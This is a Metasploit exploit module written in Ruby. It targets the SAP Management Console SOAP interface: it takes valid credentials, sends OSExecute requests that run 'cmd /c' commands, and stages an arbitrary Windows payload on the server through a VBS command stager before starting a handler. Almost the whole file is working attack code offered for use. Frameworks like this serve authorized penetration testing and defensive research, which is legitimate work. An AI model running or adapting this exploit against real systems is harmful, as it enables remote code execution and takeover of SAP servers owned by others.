##
# $Id: sap_mgmt_con_osexec_payload.rb 14048 2011-10-24 16:42:07Z sinn3r $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit4 < Msf::Exploit::Remote
  Rank = ExcellentRanking

  HttpFingerprint = { :pattern => [ /gSOAP\/2.7/ ] }

  include Msf::Exploit::Remote::HttpClient
  include Msf::Exploit::CmdStagerVBS
  include Msf::Exploit::EXE

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'SAP Management Console OSExecute Payload Execution',
      'Version'        => '$Revision: 14048 $',
      'License'        => MSF_LICENSE,
      'Author'         => [ 'Chris John Riley' ],
      'Description'    => %q{
          This module executes an arbitrary payload through the SAP Management Console
        SOAP Interface.  A valid username and password must be provided.
      },
      'References'     =>
        [
          # General
          [ 'URL', 'http://blog.c22.cc' ]
        ],
      'Privileged'     => true,
      'DefaultOptions' =>
        {
        },
      'Payload'        =>
        {
        'BadChars' => "\x00\x3a\x3b\x3d\x3c\x3e\x0a\x0d\x22\x26\x27\x2f\x60\xb4",
        },
      'Platforms'      => [ 'win' ],
      'Targets'        =>
        [
          [
            'Windows Universal',
            {
              'Arch' => ARCH_X86,
              'Platform' => 'win'
            },
          ],
        ],
      'DefaultTarget'  => 0,
      'DisclosureDate' => 'Mar 08 2011'
    ))

    register_options(
      [
        Opt::RPORT(50013),
        OptBool.new('VERBOSE', [ false, 'Enable verbose output', false ]),
        OptString.new('URI', [false, 'Path to the SAP Management Console ', '/']),
        OptString.new('USERNAME', [true, 'Username to use', '']),
        OptString.new('PASSWORD', [true, 'Password to use', '']),
      ], self.class)
    register_advanced_options(
      [
        OptInt.new('PAYLOAD_SPLIT', [true, 'Size of payload segments', '7500']),
      ], self.class)
    register_autofilter_ports([ 50013 ])
  end

  def autofilter
    false
  end

  def exploit
    print_status("[SAP] Connecting to SAP Management Console SOAP Interface on #{rhost}:#{rport}")
    linemax = datastore['PAYLOAD_SPLIT'] # Values over 9000 can cause issues
    print_status("Using custom payload size of #{linemax}") if linemax != 7500
    execute_cmdstager({ :delay => 0.35, :linemax => linemax })
    handler
  end

  # This is method required for the CmdStager to work...
  def execute_command(cmd, opts)

    soapenv = 'http://schemas.xmlsoap.org/soap/envelope/'
    xsi = 'http://www.w3.org/2001/XMLSchema-instance'
    xs = 'http://www.w3.org/2001/XMLSchema'
    sapsess = 'http://www.sap.com/webas/630/soap/features/session/'
    ns1 = 'ns1:OSExecute'

    cmd_s = cmd.split("&") #Correct issue with multiple commands on a single line
    if cmd_s.length > 1
      print_status("Command Stager progress -  Split final payload for delivery (#{cmd_s.length} sections)")
    end

    cmd_s = cmd_s.collect(&:strip)
    cmd_s.each do |payload|

      data = '<?xml version="1.0" encoding="utf-8"?>' + "\r\n"
      data << '<SOAP-ENV:Envelope xmlns:SOAP-ENV="' + soapenv + '"  xmlns:xsi="' + xsi + '" xmlns:xs="' + xs + '">' + "\r\n"
      data << '<SOAP-ENV:Header>' + "\r\n"
      data << '<sapsess:Session xlmns:sapsess="' + sapsess + '">' + "\r\n"
      data << '<enableSession>true</enableSession>' + "\r\n"
      data << '</sapsess:Session>' + "\r\n"
      data << '</SOAP-ENV:Header>' + "\r\n"
      data << '<SOAP-ENV:Body>' + "\r\n"
      data << '<' + ns1 + ' xmlns:ns1="urn:SAPControl"><command>cmd /c ' + payload.strip
      data << '</command><async>0</async></' + ns1 + '>' + "\r\n"
      data << '</SOAP-ENV:Body>' + "\r\n"
      data << '</SOAP-ENV:Envelope>' + "\r\n\r\n"

      user_pass = Rex::Text.encode_base64(datastore['USERNAME'] + ":" + datastore['PASSWORD'])

      begin
        res = send_request_raw({
          'uri'     => "/#{datastore['URI']}",
          'method'  => 'POST',
          'data'    => data,
          'headers' =>
            {
              'Content-Length'  => data.length,
              'SOAPAction'      => '""',
              'Authorization'   => 'Basic ' + user_pass,
              'Content-Type'    => 'text/xml; charset=UTF-8',
            }
        }, 60)

      if (res.code != 500 and res.code != 200)
        print_error("[SAP] An unknown response was received from the server")
        abort("Invlaid server response")
      elsif res.code == 500
        body = res.body
        if body.match(/Invalid Credentials/i)
          print_error("[SAP] The Supplied credentials are incorrect")
          abort("Exploit not complete, check credentials")
        elsif body.match(/Permission denied/i)
          print_error("[SAP] The Supplied credentials are valid, but lack OSExecute permissions")
          raise RuntimeError.new("Exploit not complete, check credentials")
        end
      end

      rescue ::Rex::ConnectionError
        print_error("[SAP] Unable to attempt authentication")
        break
      end
    end
  end
end